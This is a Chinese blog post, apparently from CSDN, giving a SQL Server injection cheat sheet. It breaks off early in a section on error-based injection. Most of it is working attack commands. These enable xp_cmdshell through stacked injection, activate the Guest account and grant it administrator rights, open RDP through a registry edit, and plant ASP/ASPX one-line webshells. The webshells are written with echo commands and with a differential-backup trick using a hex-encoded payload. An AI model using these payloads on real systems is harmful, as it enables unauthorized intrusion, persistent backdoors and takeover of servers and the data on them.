sqlserver注入

一、基本命令:

cmd登录mssql:osql -S 127.0.0.1 -U sa -P 134679258qaZ@

 使用数据库:use test    

查询语句:select * from users

查询所有数据库:select name from sysdatabases

查看当前数据库所有的表:select name from sysobjects

查看某个表的列信息:select  c.name,c.length from syscolumns c inner join sysobjects t on c.id=t.id and t.name="表名"

查询表数据:select * from 表名

获取数据库权限:?id=1 and 1=system_user

获取数据库版本:?id=1 and 1=(select @@version)

二、sqlserver权限

sa 权限:数据库操作,文件管理,命令执行,注册表读取等 system
db_owner 权限:文件管理 , 数据库操作等 users-adminstrators
public 权限:数据库操作 guest-users
注意: system windows 最高权限, sa 账号一般会被赋权为 system 。当然 sa 账号可能会被降权处理,普通账号也有可能权限提升,需要判断

1.sa权限利用:

1.xp_cmdshell利用(mssql2005之后的版本需要利用堆叠注入手动开启

?id=1;execute( 'sp_configure "show advanced options",1' );execute( 'reconfigure' );execute( 'sp_configure "xp_cmdshell", 1' );execute( 'reconfigure' ); execute( 'sp_configure' )

2.进行3389远程桌面(前提获取的系统权限是system或administrator)(也可自己创建用户):

exec xp_cmdshell 'net user Guest 123.com'          #给guest用户设置复杂性密码
exec xp_cmdshell 'net user Guest /active:yes'        # 激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'   #将guest用户添加到
                                                                                                     administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal"
"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'   # 开启3389端口
进行3389远程桌面连接

3.获取网站绝对路径(Ⅰ:默认路径Ⅱ:跑字典Ⅲ:命令执行保存表中进行查看):

create table temp ( data varchar ( 2000 )) ;     #创建一个临时表
exec xp_cmdshell 'dir C:\ > C:\temp.txt'     #执行命令,将命令结果导出至某个本地文件
BULK INSERT temp FROM 'C:\temp.txt' WITH ( DATAFILETYPE = 'char' ,KEEPNULLS )    #将本地文件写入到表中
?id=1 and 1=(select * from temp for xml path)         #读取全部临时表中的内容

4.上传一句话木马

exec xp_cmdshell 'echo ^<%execute request("123456")%^> >
C:\inetpub\wwwroot\shell.asp'

2.dbowner权限利用(网站可以进行注入、允许执行多条sql语句、无详细回显)

1.获取绝对路径

Ⅰ:mssql默认路径:C:\inetpub\wwwroot  或  字典跑出绝对路径      #笨比方法

Ⅱ:利用xp_dirtree获知web目录-->利用SQL语句创建临时表,插入一句话到表中-->利用数据库备份语句将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马-->连接木马

# 创建临时表
create table temp(dir nvarchar (255), depth varchar(255),files varchar(255), id 
int not null identity (1,1));
2 . 执行 xp_dirtree 获得 C 盘的目录树
insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'C:' ,1,1;
3 . 查看 C 盘有几个文件夹,这样对 C 盘有个大致的了解
# 获取 C 盘文件夹的个数
and (select count(*) from temp)>21
# 逐个获取 C 盘文件夹的名字
and 1 = (select top 1 dir from temp where dir not in ( '' ))
# 获取所有 C 盘文件夹的名字
and 1 = (select dir from temp for xml path)

2.写入webshell

# asp 一句话木马 密码 123456
exec master..xp_cmdshell 'echo ^<%execute request("123456")%^> >
C:\inetpub\wwwroot\shell.asp'
# aspx 一句话木马 密码 pass
exec master..xp_cmdshell 'echo ^<%@ Page
Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >
C:\inetpub\wwwroot\shell.aspx'

3.差异备份写shell

# 首先通过注入获取当前数据库名 test
# 然后进行一次完整的备份
backup database 库名 to disk = 'c:\test.bak' ;
# 再按顺序执行下列代码即可
; alter database testdb set RECOVERY FULL
; create table test_tmp ( str image )
;backup log testdb to disk = 'c:\test1' with init; insert into test_tmp ( str )
values ( 0 x3c2565786563757465207265717565737428223132333435362229253e )
;backup log testdb to disk = 'C:\inetpub\wwwroot\shell1.asp'
; alter database testdb set RECOVERY simple
# 0 x3c2565786563757465207265717565737428223132333435362229253e <% execute
request ( "123456" ) %> 16 进制编码
# C:\inetpub\wwwroot\shell1.asp 是 网站的绝对路径加上要写入的文件名

三、mssql一般注入流程:

1.mssql报错流程:

1.原理:利用字符串于int强制运算会报错的特性:1=@@version

  • 26
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值